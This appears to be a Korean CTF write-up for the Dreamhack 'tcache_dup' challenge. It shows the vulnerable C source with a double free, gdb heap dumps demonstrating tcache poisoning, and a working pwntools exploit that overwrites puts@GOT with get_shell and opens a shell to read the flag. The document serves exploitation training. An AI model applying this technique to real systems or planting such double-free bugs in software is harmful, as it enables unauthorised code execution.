// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if (cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if (!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if (idx > 10) {
return -1;
}
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
initialize();
while (1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
코드부터 요약해보겠습니다.
main 함수에 메뉴가 2개 있습니다. 1은 create 함수 실행 뒤 cnt 변수에 1을 더하고, 2는 delete 함수 실행입니다
create 함수는 size를 입력 받고, ptr에 할당된 주소를 return 받은 뒤 data를 입력 받아 저장합니다. cnt 변수로 횟수를 제한하고 있으며, 총 10번의 할당이 가능합니다.
delete 함수는 idx를 입력 받아 해당 청크를 free 합니다.
마지막으로는 get_shell 함수가 있습니다.
보호 기법은 카나리와 Nx만 켜져 있기 때문에 Got overwrite으로 get_shell 함수를 실행시키겠습니다.
tcache poisoning부터 테스트 해보겠습니다.
할당 -> free -> free 이렇게 tcache 영역을 세팅해두고, 다시 할당받을때 원하는 주소(got)를 넣으면 이후 두번째 할당 받을때 입력한 주소에 데이터가 들어갑니다.
gdb로 한번 해보겠습니다.
# 할당
1. Create
2. Delete
> 1
Size: 16
Data: aaaaaaaaa # a * 9
gef➤ x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000291
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000602260 0x0000000000000000
...
gef➤ x/40gx 0x602250
0x602250: 0x0000000000000000 0x0000000000000021
0x602260: 0x6161616161616161 0x0000000000000a61
0x602270: 0x0000000000000000 0x0000000000020d51
# free
1. Create
2. Delete
> 2
idx: 0
gef➤ x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000291
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000602260 0x0000000000000000
...
0x602250: 0x0000000000000000 0x0000000000000021
0x602260: 0x0000000000000000 0x0000000000000a61
0x602270: 0x0000000000000000 0x0000000000020d91
# free
1. Create
2. Delete
> 2
idx: 0
gef➤ x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0000000000000002 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000602260 0x0000000000000000
...
0x602250: 0x0000000000000000 0x0000000000000021
0x602260: 0x0000000000602260 0x0000000000000a61
0x602270: 0x0000000000000000 0x0000000000020d91
다시 할당을 받고 원하는 주소를 입력합니다.
1. Create
2. Delete
> 1
Size: 16
Data: address
gef➤ x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0000000000000001 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000602260 0x0000000000000000
...
gef➤ x/40gx 0x602250
0x602250: 0x0000000000000000 0x0000000000000021
0x602260: 0x0a73736572646461 0x0000000000000a61
0x602270: 0x0000000000000000 0x0000000000020d91
여기서 이제 다시 할당을 받으면 입력한 값이 tcache에 들어가게 됩니다.
1. Create
2. Delete
> 1
Size: 16
Data: a
gef➤ x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0a73736572646461 0x0000000000000000
이렇게 tcache poisoning이 가능한 것을 확인했습니다.
got 리스트는 아래와 같습니다.
gef➤ got
GOT protection: Partial RelRO | GOT functions: 13
[0x601018] free@GLIBC_2.2.5 → 0x7ffff7a7b950
[0x601020] puts@GLIBC_2.2.5 → 0x7ffff7a649c0
[0x601028] __stack_chk_fail@GLIBC_2.4 → 0x400756
[0x601030] system@GLIBC_2.2.5 → 0x400766
[0x601038] printf@GLIBC_2.2.5 → 0x7ffff7a48e80
[0x601040] alarm@GLIBC_2.2.5 → 0x7ffff7ac8840
[0x601048] read@GLIBC_2.2.5 → 0x7ffff7af4070
[0x601050] __libc_start_main@GLIBC_2.2.5 → 0x7ffff7a05ab0
[0x601058] signal@GLIBC_2.2.5 → 0x7ffff7a22da0
[0x601060] malloc@GLIBC_2.2.5 → 0x7ffff7a7b070
[0x601068] setvbuf@GLIBC_2.2.5 → 0x7ffff7a652f0
[0x601070] __isoc99_scanf@GLIBC_2.7 → 0x7ffff7a5fec0
[0x601078] exit@GLIBC_2.2.5 → 0x4007f6
그리고 main 함수에서 메뉴를 출력해주는 함수로 puts 함수를 사용하니 puts 함수 got에 get_shell 함수 주소를 넣겠습니다.
gef➤ disas main
Dump of assembler code for function main:
0x0000000000400ac1 <+0>: push %rbp
0x0000000000400ac2 <+1>: mov %rsp,%rbp
0x0000000000400ac5 <+4>: sub $0x10,%rsp
0x0000000000400ac9 <+8>: mov %fs:0x28,%rax
0x0000000000400ad2 <+17>: mov %rax,-0x8(%rbp)
0x0000000000400ad6 <+21>: xor %eax,%eax
0x0000000000400ad8 <+23>: movl $0x0,-0xc(%rbp)
0x0000000000400adf <+30>: mov $0x0,%eax
0x0000000000400ae4 <+35>: call 0x400914 <initialize>
0x0000000000400ae9 <+40>: mov $0x400bf3,%edi
0x0000000000400aee <+45>: call 0x400740 <puts@plt>
0x0000000000400af3 <+50>: mov $0x400bfd,%edi
0x0000000000400af8 <+55>: call 0x400740 <puts@plt>
0x0000000000400afd <+60>: mov $0x400c07,%edi
0x0000000000400b02 <+65>: mov $0x0,%eax
0x0000000000400b07 <+70>: call 0x400770 <printf@plt>
0x0000000000400b0c <+75>: lea -0x10(%rbp),%rax
0x0000000000400b10 <+79>: mov %rax,%rsi
0x0000000000400b13 <+82>: mov $0x400bdb,%edi
0x0000000000400b18 <+87>: mov $0x0,%eax
0x0000000000400b1d <+92>: call 0x4007e0 <__isoc99_scanf@plt>
0x0000000000400b22 <+97>: mov -0x10(%rbp),%eax
0x0000000000400b25 <+100>: cmp $0x1,%eax
0x0000000000400b28 <+103>: je 0x400b31 <main+112>
0x0000000000400b2a <+105>: cmp $0x2,%eax
0x0000000000400b2d <+108>: je 0x400b41 <main+128>
0x0000000000400b2f <+110>: jmp 0x400b4c <main+139>
0x0000000000400b31 <+112>: mov -0xc(%rbp),%eax
0x0000000000400b34 <+115>: mov %eax,%edi
0x0000000000400b36 <+117>: call 0x400970 <create>
0x0000000000400b3b <+122>: addl $0x1,-0xc(%rbp)
0x0000000000400b3f <+126>: jmp 0x400b4c <main+139>
0x0000000000400b41 <+128>: mov $0x0,%eax
0x0000000000400b46 <+133>: call 0x400a3a <delete>
0x0000000000400b4b <+138>: nop
0x0000000000400b4c <+139>: jmp 0x400ae9 <main+40>
End of assembler dump.
익스플로잇 코드를 작성해보면 아래와 같습니다.
from pwn import *
#p = process('./tcache_dup')
p = remote('host3.dreamhack.games', 13855)
e = ELF('./tcache_dup')
def Create(size, data):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'Size: ', size)
p.sendafter(b'Data: ', data)
def Delete(idx):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'idx: ', idx)
Create(b'16', b'a')
Delete(b'0')
Delete(b'0')
Create(b'16', p64(e.got['puts']))
Create(b'16', b'a')
Create(b'16', p64(e.symbols['get_shell']))
p.interactive()
❯ py ex.py
[+] Starting local process './tcache_dup': pid 1842
[*] '/tcache_dup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
[*] Switching to interactive mode
$ cat flag
DH{**flag**}